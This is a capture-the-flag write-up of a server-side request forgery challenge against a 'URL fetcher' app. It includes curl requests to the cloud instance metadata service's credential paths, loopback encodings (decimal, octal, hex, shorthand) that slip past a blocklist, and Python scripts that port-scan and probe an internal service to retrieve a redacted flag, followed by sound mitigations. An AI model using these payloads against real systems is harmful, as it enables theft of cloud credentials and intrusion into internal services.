Overview
The challenge exposes a “URL fetcher” web application with a single feature: paste a URL, and the server fetches it and returns the response headers and a preview of the body (truncated to 1024 characters). Because the server — not the browser — makes the request, it can reach internal/private network resources. The goal is to abuse this SSRF to reach an internal service and retrieve the flag.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
The SSRF endpoint is $TARGET/api/fetch and accepts a JSON body {"url": "..."}. A small Python requests script is used for the port scan and path enumeration; curl works for individual requests.
Recon
Step 1 — Fetch the root page
Goal: Confirm the submission endpoint and the shape of its response.
curl -s "$TARGET/"
Interpretation: The root page posts to /api/fetch, which accepts {"url": "..."} and returns headers, preview (body truncated to 1024 chars), and status_code.
Enumeration
Step 2 — Confirm SSRF via the instance metadata service
Goal: Verify the server fetches internal URLs by targeting IMDS, reachable only from inside the host.
curl -s "$TARGET/api/fetch" \
-H "Content-Type: application/json" \
-d '{"url":"hxxp://169[.]254[.]169[.]254/latest/meta-data/"}'
Interpretation: The request succeeded, confirming SSRF and that IMDSv1 (no token required) was accessible. Enumerating further revealed an attached IAM role:
curl -s "$TARGET/api/fetch" \
-H "Content-Type: application/json" \
-d '{"url":"hxxp://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/"}'
# -> AmazonSSMRoleForInstancesQuickSetup
However, fetching the role’s temporary credentials failed to yield the SecretAccessKey/Token: the app’s preview field hard-truncates response bodies at 1024 characters, while the credentials JSON was 1594 bytes. Attempts to bypass the truncation (custom headers, raw flags, alternate routes) all failed — IMDS access was real, but a dead end, not the path to the flag.
Vulnerability Analysis
The flaw class is Server-Side Request Forgery (CWE-918) enabled by an insufficient URL/hostname allow-list.
Exploitation
Step 3 — Bypass the localhost filter
Goal: Confirm that alternate loopback representations bypass the string-based blocklist.
hxxp://127[.]0[.]0[.]1:8080/ and hxxp://localhost/ returned:
{ "error": "url blocked by policy" }
Testing alternate encodings:
hxxp://2130706433:8080/— decimal IP → bypassed filterhxxp://0177[.]0[.]0[.]1:8080/— octal → bypassed filterhxxp://0x7f[.]0[.]0[.]1:8080/— hex → bypassed filterhxxp://127[.]1:8080/— IP shorthand → bypassed filterhxxp://[::ffff:127.0.0.1]:8080/— IPv6-mapped → still blockedhxxp://localhost[.]:8080/— trailing dot → still blockedhxxp://127[.]0[.]0[.]1[.]nip[.]io:8080/— public DNS wildcard → still blocked
127.1 (shorthand), the decimal, octal and hex forms all reached the connection stage, proving the filter only matched exact strings like 127[.]0[.]0[.]1 and localhost.
Step 4 — Scan internal ports through the SSRF proxy
Goal: Find an internal-only service reachable via the bypassed SSRF.
import requests
BASE = "$TARGET/api/fetch"
ports = [80, 22, 3000, 5000, 5432, 6379, 8000, 8081, 9000, 9200, 27017]
for port in ports:
r = requests.post(BASE, json={"url": f"hxxp://127[.]1:{port}/"}, timeout=10)
print(port, r.json())
Results:
- Most ports:
Connection refused(nothing listening) - Port
8000: mirrored the public-facing app (Werkzeug/Flask) — not interesting - Port
9000: a separate, internal-only server (BaseHTTP/0.6 Python/3.11.16) returning"Not found"on/— a strong signal of a hidden internal service
Step 5 — Enumerate the internal service and retrieve the flag
Goal: Probe common paths on the port 9000 service through the SSRF proxy.
import json
import requests
BASE = "$TARGET/api/fetch"
paths = ["", "flag", "admin", "status", "health", "internal",
"secret", "api", "info", "debug", "config"]
for path in paths:
target = f"hxxp://127[.]1:9000/{path}"
resp = requests.post(
BASE,
headers={"Content-Type": "application/json"},
json={"url": target},
timeout=10
)
print(f"=== /{path} ===")
print(json.dumps(resp.json(), indent=2))
/flag returned the flag directly:
{
"headers": {
"Content-Type": "text/plain; charset=utf-8",
"Server": "BaseHTTP/0.6 Python/3.11.16"
},
"preview": "safctf{REDACTED}",
"status_code": 200
}
Interpretation: The internal service on port 9000 served the flag at /flag, retrievable through the SSRF proxy.
Flag
safctf{REDACTED}
Retrieved from hxxp://127[.]1:9000/flag via the SSRF endpoint at $TARGET/api/fetch.
Dead Ends
Lessons / Takeaways
- SSRF protection based on a string blocklist is trivially bypassed with alternate IP representations (decimal, octal, hex, shorthand).
- “Internal-only” is not access control: an internal service trusting its network position as sole authorization is reachable once SSRF forges internal-origin requests.
- Don’t over-invest in one lead: IMDS access was real but blocked by response truncation; pivoting to direct port scan + path enumeration solved it.
Mitigations
- Resolve the user-supplied hostname and validate the resulting IP against a deny-list of private/loopback/link-local ranges (RFC 1918, etc.), re-checking after redirects.
- Prefer an allow-list of expected external destinations over trying to block internal ones.
- Authenticate and authorize internal services; do not rely on network position alone.
- Use IMDSv2 (token required) where instance metadata is exposed, to raise the bar for SSRF-based credential theft.
Techniques
- SSRF
- Server-Side Request Forgery
References
- OWASP, “Server Side Request Forgery”: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
- CWE-918: Server-Side Request Forgery: https://cwe.mitre.org/data/definitions/918.html

